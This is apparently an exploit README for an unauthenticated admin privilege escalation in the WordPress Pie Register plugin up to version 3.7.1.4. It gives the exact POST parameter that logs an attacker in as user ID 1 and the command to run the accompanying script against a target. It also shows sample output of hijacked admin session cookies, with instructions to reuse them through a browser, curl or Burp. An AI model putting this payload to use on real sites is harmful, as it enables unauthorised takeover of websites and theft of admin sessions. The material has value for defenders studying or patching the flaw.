
WordPress Pie Register ≤ 3.7.1.4 - Admin Privilege Escalation (Unauthenticated)
Mrj Haxcore
The Pie Register plugin for WordPress (version ≤ 3.7.1.4) exposes an unauthenticated endpoint that allows an attacker to hijack admin sessions simply by POSTing a specific payload.
Exploitation results in stealing the session cookies of user ID 1 (usually admin) without needing any login credentials.
pie-registeruser_id_social_site=1
When posted to the root URL (/), this parameter causes the plugin to authenticate the attacker as the user with ID 1 (typically the admin), and issue valid session cookies.
requests, beautifulsoup4 (optional, for cookie parsing)python3 pie.py http://target.site
---
Output
[*] Sending payload to hijack admin session...
[+] Successfully hijacked cookies for user_id=1 (admin):
wordpress_sec_xxxxxx = <cookie_value>
wordpress_logged_in_xxxxxx = <cookie_value>
[!] Use these cookies in your browser or tools like curl or Burp to act as admin.